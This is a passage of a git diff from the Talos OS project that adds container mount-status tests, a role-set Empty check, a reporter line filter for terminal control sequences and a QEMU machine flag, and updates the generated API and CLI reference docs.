00000000000..7cd0b5b46c1 --- /dev/null +++ b/pkg/machinery/resources/containers/mount_status_test.go @@ -0,0 +1,249 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package containers_test + +import ( + "testing" + + "github.com/cosi-project/runtime/pkg/state" + "github.com/cosi-project/runtime/pkg/state/impl/inmem" + "github.com/cosi-project/runtime/pkg/state/impl/namespaced" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/pkg/machinery/resources/containers" +) + +// TestMountsResolvedMatchDeclared covers the freshness check callers run against +// GetResolvedMounts' result: every field a resolution must not change has to match, or a stale +// status must be rejected. +func TestMountsResolvedMatchDeclared(t *testing.T) { + t.Parallel() + + for _, test := range []struct { + name string + resolved []containers.ResolvedMountSpec + declared []containers.ContainerMountSpec + resolves bool + }{ + { + name: "matches", + resolved: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/var/log", + Destination: "/host-log", + Options: []string{"ro"}, + }, + { + Kind: containers.MountKindTmpfs, + Destination: "/tmp", + Size: 64 << 20, + }, + }, + declared: []containers.ContainerMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/var/log", + Destination: "/host-log", + Options: []string{"ro"}, + }, + { + Kind: containers.MountKindTmpfs, + Destination: "/tmp", + Size: 64 << 20, + }, + }, + resolves: true, + }, + { + // The bug this test guards: a declared options edit must invalidate a resolution taken + // before the edit, not just a kind/destination change. + name: "options changed", + resolved: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/var/log", + Destination: "/host-log", + }, + }, + declared: []containers.ContainerMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/var/log", + Destination: "/host-log", + Options: []string{"ro"}, + }, + }, + resolves: false, + }, + { + name: "tmpfs size changed", + resolved: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindTmpfs, + Destination: "/tmp", + Size: 64 << 20, + }, + }, + declared: []containers.ContainerMountSpec{ + { + Kind: containers.MountKindTmpfs, + Destination: "/tmp", + Size: 128 << 20, + }, + }, + resolves: false, + }, + { + name: "hostPath source changed", + resolved: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/var/log", + Destination: "/host-log", + }, + }, + declared: []containers.ContainerMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/var/log/audit", + Destination: "/host-log", + }, + }, + resolves: false, + }, + { + // The resolved source is what MountController fills in from the mounted volume; the + // declared side only ever carries a VolumeID, so the two are never compared for this kind. + name: "userVolume source is not compared", + resolved: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindUserVolume, + Source: "/var/mnt/web-content", + Destination: "/usr/share/nginx/html", + VolumeID: "u-web-content", + }, + }, + declared: []containers.ContainerMountSpec{ + { + Kind: containers.MountKindUserVolume, + VolumeID: "u-web-content", + Destination: "/usr/share/nginx/html", + }, + }, + resolves: true, + }, + { + name: "userVolume volumeID changed", + resolved: []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindUserVolume, + Source: "/var/mnt/web-content", + Destination: "/usr/share/nginx/html", + VolumeID: "u-web-content", + }, + }, + declared: []containers.ContainerMountSpec{ + { + Kind: containers.MountKindUserVolume, + VolumeID: "u-other-volume", + Destination: "/usr/share/nginx/html", + }, + }, + resolves: false, + }, + { + name: "mount count mismatch", + resolved: []containers.ResolvedMountSpec{ + {Kind: containers.MountKindTmpfs, Destination: "/tmp"}, + }, + declared: nil, + resolves: false, + }, + { + // Order is significant: when two mounts land on the same destination, the later one wins, + // so a reordering can change which mount is actually visible. + name: "reordered mounts do not resolve", + resolved: []containers.ResolvedMountSpec{ + {Kind: containers.MountKindTmpfs, Destination: "/tmp", Size: 64 << 20}, + {Kind: containers.MountKindHostPath, Source: "/var/log", Destination: "/host-log"}, + }, + declared: []containers.ContainerMountSpec{ + {Kind: containers.MountKindHostPath, Source: "/var/log", Destination: "/host-log"}, + {Kind: containers.MountKindTmpfs, Destination: "/tmp", Size: 64 << 20}, + }, + resolves: false, + }, + } { + t.Run(test.name, func(t *testing.T) { + t.Parallel() + + assert.Equal(t, test.resolves, containers.MountsResolvedMatchDeclared(test.resolved, test.declared)) + }) + } +} + +func TestGetResolvedMounts(t *testing.T) { + t.Parallel() + + const containerID = "nginx" + + mountSpecs := []containers.ResolvedMountSpec{ + { + Kind: containers.MountKindHostPath, + Source: "/var/log", + Destination: "/host-log", + }, + } + + for _, test := range []struct { + name string + create bool + ready bool + }{ + { + name: "ready", + create: true, + ready: true, + }, + { + name: "not ready", + create: true, + ready: false, + }, + { + name: "not found", + create: false, + }, + } { + t.Run(test.name, func(t *testing.T) { + t.Parallel() + + resources := state.WrapCore(namespaced.NewState(inmem.Build)) + + if test.create { + status := containers.NewContainerMountStatus(containers.NamespaceName, containerID) + *status.TypedSpec() = containers.ContainerMountStatusSpec{ + Ready: test.ready, + Mounts: mountSpecs, + } + + require.NoError(t, resources.Create(t.Context(), status)) + } + + var spec containers.ContainerSpecSpec + + mounts, err := spec.GetResolvedMounts(t.Context(), resources, containerID) + require.NoError(t, err) + + if test.create && test.ready { + assert.Equal(t, mountSpecs, mounts) + } else { + assert.Nil(t, mounts) + } + }) + } +} diff --git a/pkg/machinery/resources/security/image_verification_rule.go b/pkg/machinery/resources/security/image_verification_rule.go index 1eaa2b94f47..d34b984dceb 100644 --- a/pkg/machinery/resources/security/image_verification_rule.go +++ b/pkg/machinery/resources/security/image_verification_rule.go @@ -6,16 +6,10 @@ package security import ( - "context" - "fmt" - "github.com/cosi-project/runtime/pkg/resource" "github.com/cosi-project/runtime/pkg/resource/meta" "github.com/cosi-project/runtime/pkg/resource/protobuf" "github.com/cosi-project/runtime/pkg/resource/typed" - "github.com/cosi-project/runtime/pkg/safe" - "github.com/cosi-project/runtime/pkg/state" - "github.com/ryanuber/go-glob" "github.com/siderolabs/talos/pkg/machinery/proto" ) @@ -96,27 +90,6 @@ func (ImageVerificationRuleExtension) ResourceDefinition() meta.ResourceDefiniti } } -// ImageVerificationRuleMatchFunc is a function type for matching image references to verification rules. -type ImageVerificationRuleMatchFunc func(imageRef string) *ImageVerificationRule - -// ImageVerificationRuleMatcher creates the matcher for the given image reference against the provided rules and returns the first matching rule. -func ImageVerificationRuleMatcher(ctx context.Context, st state.State) (ImageVerificationRuleMatchFunc, error) { - rules, err := safe.StateListAll[*ImageVerificationRule](ctx, st) - if err != nil { - return nil, fmt.Errorf("failed to list image verification rules: %w", err) - } - - return func(imageRef string) *ImageVerificationRule { - for rule := range rules.All() { - if rule.TypedSpec().ImagePattern != "" && glob.Glob(rule.TypedSpec().ImagePattern, imageRef) { - return rule - } - } - - return nil - }, nil -} - func init() { proto.RegisterDefaultTypes() diff --git a/pkg/machinery/role/role.go b/pkg/machinery/role/role.go index 6aa0a3a401c..c267e4acdb0 100644 --- a/pkg/machinery/role/role.go +++ b/pkg/machinery/role/role.go @@ -104,6 +104,14 @@ func (s Set) Strings() []string { return res } +// Empty returns true if the set contains no roles. +// +// A credential resolving to an empty set names no roles at all, and never authorizes +// anything: it should be rejected rather than treated as a caller holding no roles. +func (s Set) Empty() bool { + return len(s.roles) == 0 +} + // IncludesAny returns true if there is a non-empty intersection between sets. // // Returns false if any set is empty. diff --git a/pkg/provision/providers/qemu/arch.go b/pkg/provision/providers/qemu/arch.go index c29b775302a..9ab70c9c18f 100644 --- a/pkg/provision/providers/qemu/arch.go +++ b/pkg/provision/providers/qemu/arch.go @@ -255,6 +255,13 @@ func (arch Arch) getMachineArgs(iommu bool) []string { if arch == ArchAmd64 { args += ",smm=on" + + // the VMs are driven over the serial console, so the emulated PS/2 controller is never used, + // while tearing down `psmouse` in the kernel shutdown path is a known source of hangs on + // reboot/kexec + // + // note: requires QEMU >= 7.0 + args += ",i8042=off" } return []string{"-machine", args} diff --git a/pkg/reporter/reporter.go b/pkg/reporter/reporter.go index 3305f9c8921..60ab0fbce76 100644 --- a/pkg/reporter/reporter.go +++ b/pkg/reporter/reporter.go @@ -45,6 +45,7 @@ type Reporter struct { w *os.File lastLine string lastLineTemporary bool + lineFilter func(string) string colorized bool spinnerIdx int @@ -100,6 +101,19 @@ func WithOutputMode(mode OutputMode) Option { } } +// WithLineFilter returns an Option that sets a filter applied to every message +// before it is rendered. +// +// A message assembled from data a Talos node supplied can carry terminal control +// sequences, and the reporter writes to the terminal directly and adds its own +// colors and cursor movement, so such a message has to be filtered as text here +// rather than on the stream underneath the reporter. +func WithLineFilter(filter func(string) string) Option { + return func(r *Reporter) { + r.lineFilter = filter + } +} + // New returns a console reporter with stderr output. func New(opts ...Option) *Reporter { rep := &Reporter{ @@ -127,6 +141,10 @@ func (r *Reporter) Report(update Update) { // replace tabs with spaces to get consistent output length line = strings.ReplaceAll(line, "\t", " ") + if r.lineFilter != nil { + line = r.lineFilter(line) + } + if !r.colorized { if line != r.lastLine { fmt.Fprintln(r.w, line) diff --git a/website/content/v1.14/reference/api.md b/website/content/v1.14/reference/api.md index bc22e7eb109..b6fdf3a82bb 100644 --- a/website/content/v1.14/reference/api.md +++ b/website/content/v1.14/reference/api.md @@ -307,6 +307,7 @@ description: Talos gRPC API reference. - [BlockVolumePhase](#talos.resource.definitions.enums.BlockVolumePhase) - [BlockVolumeType](#talos.resource.definitions.enums.BlockVolumeType) - [ContainersContainerImagePhase](#talos.resource.definitions.enums.ContainersContainerImagePhase) + - [ContainersContainerInstancePhase](#talos.resource.definitions.enums.ContainersContainerInstancePhase) - [CriImageCacheCopyStatus](#talos.resource.definitions.enums.CriImageCacheCopyStatus) - [CriImageCacheStatus](#talos.resource.definitions.enums.CriImageCacheStatus) - [KubespanPeerState](#talos.resource.definitions.enums.KubespanPeerState) @@ -406,12 +407,16 @@ description: Talos gRPC API reference. - [ContainerDependsOnSpec](#talos.resource.definitions.containers.ContainerDependsOnSpec) - [ContainerImageSpec](#talos.resource.definitions.containers.ContainerImageSpec) - [ContainerImageStatusSpec](#talos.resource.definitions.containers.ContainerImageStatusSpec) + - [ContainerInstanceSpecSpec](#talos.resource.definitions.containers.ContainerInstanceSpecSpec) + - [ContainerInstanceStatusSpec](#talos.resource.definitions.containers.ContainerInstanceStatusSpec) - [ContainerMountSpec](#talos.resource.definitions.containers.ContainerMountSpec) + - [ContainerMountStatusSpec](#talos.resource.definitions.containers.ContainerMountStatusSpec) - [ContainerNetworkSpec](#talos.resource.definitions.containers.ContainerNetworkSpec) - [ContainerResourcesSpec](#talos.resource.definitions.containers.ContainerResourcesSpec) - [ContainerRunAsSpec](#talos.resource.definitions.containers.ContainerRunAsSpec) - [ContainerSecuritySpec](#talos.resource.definitions.containers.ContainerSecuritySpec) - [ContainerSpecSpec](#talos.resource.definitions.containers.ContainerSpecSpec) + - [ResolvedMountSpec](#talos.resource.definitions.containers.ResolvedMountSpec) - [resource/definitions/cri/cri.proto](#resource/definitions/cri/cri.proto) - [BaseRuntimeSpecConfigSpec](#talos.resource.definitions.cri.BaseRuntimeSpecConfigSpec) @@ -981,6 +986,7 @@ description: Talos gRPC API reference. | NS_UNKNOWN | 0 | | | NS_SYSTEM | 1 | | | NS_CRI | 2 | | +| NS_TALOSCONTAINERS | 3 | NS_TALOSCONTAINERS is the namespace for containers declared via a ContainerConfig document. | @@ -5296,6 +5302,20 @@ ContainersContainerImagePhase describes the state of a container's image pull. + + +### ContainersContainerInstancePhase +ContainersContainerInstancePhase describes the state of a container instance's execution. + +| Name | Number | Description | +| ---- | ------ | ----------- | +| CONTAINER_INSTANCE_PHASE_CREATED | 0 | | +| CONTAINER_INSTANCE_PHASE_RUNNING | 1 | | +| CONTAINER_INSTANCE_PHASE_TERMINATED | 2 | | +| CONTAINER_INSTANCE_PHASE_FAILED | 3 | | + + + ### CriImageCacheCopyStatus @@ -7276,6 +7296,58 @@ ContainerImageStatusSpec is the spec for ContainerImageStatus. + + +### ContainerInstanceSpecSpec +ContainerInstanceSpecSpec is the spec for ContainerInstanceSpec. + +It carries a resolved snapshot of everything needed to run one execution, so whatever runs it +never has to re-read the container spec or image status. That keeps the execution independent of +later changes to those inputs: a spec change destroys this instance rather than mutating it. + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| container_id | [string](#string) | | ContainerID is the name of the owning container, i.e. the ContainerSpec ID. | +| generation | [uint64](#uint64) | | Generation is this instance's sequence number for that container. | +| image | [string](#string) | | Image is the digest-resolved reference to run. | +| entrypoint | [string](#string) | repeated | | +| args | [string](#string) | repeated | | +| working_dir | [string](#string) | | | +| run_as | [ContainerRunAsSpec](#talos.resource.definitions.containers.ContainerRunAsSpec) | | | +| environment | [string](#string) | repeated | | +| mounts | [ResolvedMountSpec](#talos.resource.definitions.containers.ResolvedMountSpec) | repeated | Mounts are fully resolved, with host source paths filled in. | +| security | [ContainerSecuritySpec](#talos.resource.definitions.containers.ContainerSecuritySpec) | | | +| network | [ContainerNetworkSpec](#talos.resource.definitions.containers.ContainerNetworkSpec) | | | +| resources | [ContainerResourcesSpec](#talos.resource.definitions.containers.ContainerResourcesSpec) | | | + + + + + + + + +### ContainerInstanceStatusSpec +ContainerInstanceStatusSpec is the spec for ContainerInstanceStatus. + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| container_id | [string](#string) | | ContainerID is the name of the owning container, i.e. the ContainerSpec ID. | +| generation | [uint64](#uint64) | | Generation is the reported instance's sequence number for that container. | +| phase | [talos.resource.definitions.enums.ContainersContainerInstancePhase](#talos.resource.definitions.enums.ContainersContainerInstancePhase) | | Phase is the current execution phase. | +| pid | [uint32](#uint32) | | PID is the task's process ID while running. | +| exit_code | [int32](#int32) | | ExitCode is the task's exit code, meaningful only once Phase is ContainerInstancePhaseTerminated. | +| error | [string](#string) | | Error describes why the task never started or exited abnormally. | +| started_at | [google.protobuf.Timestamp](#google.protobuf.Timestamp) | | StartedAt is when the task's process started. | +| finished_at | [google.protobuf.Timestamp](#google.protobuf.Timestamp) | | FinishedAt is when the task stopped running. | + + + + + + ### ContainerMountSpec @@ -7291,7 +7363,24 @@ Exactly one of VolumeID, Tmpfs or HostPath describes the source; Kind says which | source | [string](#string) | | Source is the host path for a hostPath mount. | | destination | [string](#string) | | Destination inside the container. | | size | [uint64](#uint64) | | Size of a tmpfs mount, in bytes; zero means the kernel default. | -| options | [string](#string) | repeated | Options with the read-only default already applied. | +| options | [string](#string) | repeated | Options with the writable default already applied. | + + + + + + + + +### ContainerMountStatusSpec +ContainerMountStatusSpec is the spec for ContainerMountStatus. + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| ready | [bool](#bool) | | Ready is true once every mount the container declares is available. | +| mounts | [ResolvedMountSpec](#talos.resource.definitions.containers.ResolvedMountSpec) | repeated | Mounts are the resolved mounts, with host source paths filled in. Only meaningful when Ready. | +| error | [string](#string) | | Error describes why the mounts are not ready. | @@ -7360,6 +7449,7 @@ ContainerSecuritySpec is the resolved security posture. | privileged | [bool](#bool) | | Privileged grants all grantable capabilities and all devices, matching what extension services get implicitly. | | capabilities_add | [string](#string) | repeated | | | capabilities_drop | [string](#string) | repeated | | +| machined_access | [bool](#bool) | | MachinedAccess publishes the container's PID as a ServicePID resource and mounts the machined API socket into the container. | @@ -7390,6 +7480,26 @@ ContainerSpecSpec is the spec for ContainerSpec. + + + +### ResolvedMountSpec +ResolvedMountSpec is a mount with its host-side source resolved. + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| kind | [string](#string) | | | +| source | [string](#string) | | Source is the host path to bind from; empty for tmpfs and userVolume. | +| destination | [string](#string) | | | +| size | [uint64](#uint64) | | | +| options | [string](#string) | repeated | | +| volume_id | [string](#string) | | VolumeID is the resolved userVolume's ID; empty for tmpfs and hostPath. | + + + + + diff --git a/website/content/v1.14/reference/cli.md b/website/content/v1.14/reference/cli.md index f3b5721ceb8..63a935c28f9 100644 --- a/website/content/v1.14/reference/cli.md +++ b/website/content/v1.14/reference/cli.md @@ -178,7 +178,7 @@ talosctl cluster create dev [flags] --ipxe-boot-script string iPXE boot script (URL) to use --iso-path string the ISO path to use for the initial boot --kubeprism-port int KubePrism port (set to 0 to disable) (default 7445) - --kubernetes-version string desired kubernetes version to run (default "1.37.0-rc.1") + --kubernetes-version string desired kubernetes version to run (default "1.37.0") --memory string(mb,gb) the limit on memory usage for each control plane/VM (default 2.0GiB) --memory-workers string(mb,gb) the limit on memory usage for each worker/VM (default 2.0GiB) --mtu int MTU of the cluster network (default 1500) @@ -262,7 +262,7 @@ talosctl cluster create docker [flags] -h, --help help for docker --host-ip string Host IP to forward exposed ports to (default "0.0.0.0") --image string the talos image to run (default "ghcr.io/siderolabs/talos:latest") - --kubernetes-version string desired kubernetes version to run (default "1.37.0-rc.1") + --kubernetes-version string desired kubernetes version to run (default "1.37.0") --memory-controlplanes string(mb,gb) the limit on memory usage for each control plane/VM (default 2.0GiB) --memory-workers string(mb,gb) the limit on memory usage for each worker/VM (default 2.0GiB) --mount mount attach a mount to the container (docker --mount syntax) @@ -319,7 +319,7 @@ talosctl cluster create qemu [flags] -h, --help help for qemu --image-factory-auth string username:password for authenticating with the Image Factory --image-factory-url string Image Factory url (default "https://factory.talos.dev/") - --kubernetes-version string desired kubernetes version to run (default "1.37.0-rc.1") + --kubernetes-version string desired kubernetes version to run (default "1.37.0") --memory-controlplanes string(mb,gb) the limit on memory usage for each control plane/VM (default 2.0GiB) --memory-workers string(mb,gb) the limit on memory usage for each worker/VM (default 2.0GiB) --omni-api-endpoint string the Omni API endpoint (must include a scheme, a hostname and a join token, e.g. 'https://siderolink.omni.example?jointoken=foobar') @@ -1128,7 +1128,7 @@ talosctl containers [flags] --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration -h, --help help for containers - -k, --kubernetes use the k8s.io containerd namespace + --namespace string namespace to use: "system" (default, Talos service containers), "cri" for Kubernetes workloads, "taloscontainers" for containers declared via ContainerConfig (default "system") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -1843,7 +1843,7 @@ talosctl gen config [flags] -h, --help help for config --install-disk string the disk to install to (default "/dev/sda") --install-image string the image used to perform an installation (default "factory.talos.dev/metal-installer/376567988ad370138ad8b2698212367b8edcb69b5fd68c80be1f2ec7d603b4ba:latest") - --kubernetes-version string desired kubernetes version to run (default "1.37.0-rc.1") + --kubernetes-version string desired kubernetes version to run (default "1.37.0") -o, --output string destination to output generated files. when multiple output types are specified, it must be a directory. for a single output type, it must either be a file path, or "-" for stdout -t, --output-types strings types of outputs to be generated. valid types are: ["controlplane" "worker" "talosconfig"] (default [controlplane,worker,talosconfig]) --registry-mirror strings list of registry mirrors to use in format: = @@ -2222,7 +2222,7 @@ talosctl image cache-cert-gen [flags] -c, --cluster string cluster to connect to if a proxy endpoint is used --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration - --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance (default "cri") + --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance, "taloscontainers" for containers declared via ContainerConfig (default "cri") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -2247,7 +2247,7 @@ talosctl image cache-create [flags] ### Examples ``` -talosctl images cache-create --images=ghcr.io/siderolabs/kubelet:v1.37.0-rc.1 --image-cache-path=/tmp/talos-image-cache +talosctl images cache-create --images=ghcr.io/siderolabs/kubelet:v1.37.0 --image-cache-path=/tmp/talos-image-cache Alternatively, stdin can be piped to the command: talosctl images default | talosctl images cache-create --image-cache-path=/tmp/talos-image-cache --images=- @@ -2274,7 +2274,7 @@ talosctl images default | talosctl images cache-create --image-cache-path=/tmp/t -c, --cluster string cluster to connect to if a proxy endpoint is used --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration - --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance (default "cri") + --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance, "taloscontainers" for containers declared via ContainerConfig (default "cri") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -2313,7 +2313,7 @@ talosctl image cache-serve [flags] -c, --cluster string cluster to connect to if a proxy endpoint is used --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration - --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance (default "cri") + --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance, "taloscontainers" for containers declared via ContainerConfig (default "cri") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -2338,7 +2338,7 @@ talosctl image k8s-bundle [flags] --etcd-version semver ETCD semantic version (default 3.7.1) --flannel-version semver Flannel CNI semantic version (default 0.28.9) -h, --help help for k8s-bundle - --k8s-version semver Kubernetes semantic version (default v1.37.0-rc.1) + --k8s-version semver Kubernetes semantic version (default v1.37.0) --kube-network-policies-version semver kube-network-policies semantic version (default v1.1.1) ``` @@ -2348,7 +2348,7 @@ talosctl image k8s-bundle [flags] -c, --cluster string cluster to connect to if a proxy endpoint is used --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration - --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance (default "cri") + --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance, "taloscontainers" for containers declared via ContainerConfig (default "cri") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -2378,7 +2378,7 @@ talosctl image list [flags] -c, --cluster string cluster to connect to if a proxy endpoint is used --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration - --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance (default "cri") + --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance, "taloscontainers" for containers declared via ContainerConfig (default "cri") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -2408,7 +2408,7 @@ talosctl image pull [flags] -c, --cluster string cluster to connect to if a proxy endpoint is used --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration - --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance (default "cri") + --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance, "taloscontainers" for containers declared via ContainerConfig (default "cri") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -2438,7 +2438,7 @@ talosctl image remove [flags] -c, --cluster string cluster to connect to if a proxy endpoint is used --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration - --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance (default "cri") + --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance, "taloscontainers" for containers declared via ContainerConfig (default "cri") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -2470,7 +2470,7 @@ talosctl image talos-bundle [talos-version] [flags] -c, --cluster string cluster to connect to if a proxy endpoint is used --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration - --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance (default "cri") + --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance, "taloscontainers" for containers declared via ContainerConfig (default "cri") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -2491,7 +2491,7 @@ Manage container images --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration -h, --help help for image - --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance (default "cri") + --namespace string namespace to use: "system" (etcd and kubelet images), "cri" for all Kubernetes workloads, "inmem" for in-memory containerd instance, "taloscontainers" for containers declared via ContainerConfig (default "cri") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -2700,7 +2700,7 @@ talosctl logs [flags] -f, --follow specify if the logs should be streamed -h, --help help for logs -i, --insecure use the insecure (encrypted with no auth) maintenance service - -k, --kubernetes use the k8s.io containerd namespace + --namespace string namespace to use: "system" (default, Talos service containers), "cri" for Kubernetes workloads, "taloscontainers" for containers declared via ContainerConfig (default "system") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --tail int32 lines of log file to display (default is to show from the beginning) (default -1) @@ -3206,7 +3206,7 @@ talosctl restart [flags] --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration -h, --help help for restart - -k, --kubernetes use the k8s.io containerd namespace + --namespace string namespace to use: "system" (default, Talos service containers), "cri" for Kubernetes workloads, "taloscontainers" for containers declared via ContainerConfig (default "system") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -3358,7 +3358,7 @@ talosctl stats [flags] --context string context to be used in command -e, --endpoints strings override default endpoints in Talos configuration -h, --help help for stats - -k, --kubernetes use the k8s.io containerd namespace + --namespace string namespace to use: "system" (default, Talos service containers), "cri" for Kubernetes workloads, "taloscontainers" for containers declared via ContainerConfig (default "system") -n, --nodes strings target the specified nodes --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order @@ -3523,7 +3523,7 @@ talosctl upgrade-k8s [flags] --scheduler-image string kube-scheduler image to use (default "registry.k8s.io/kube-scheduler") --siderov1-keys-dir string the path to the SideroV1 auth PGP keys directory, defaults to 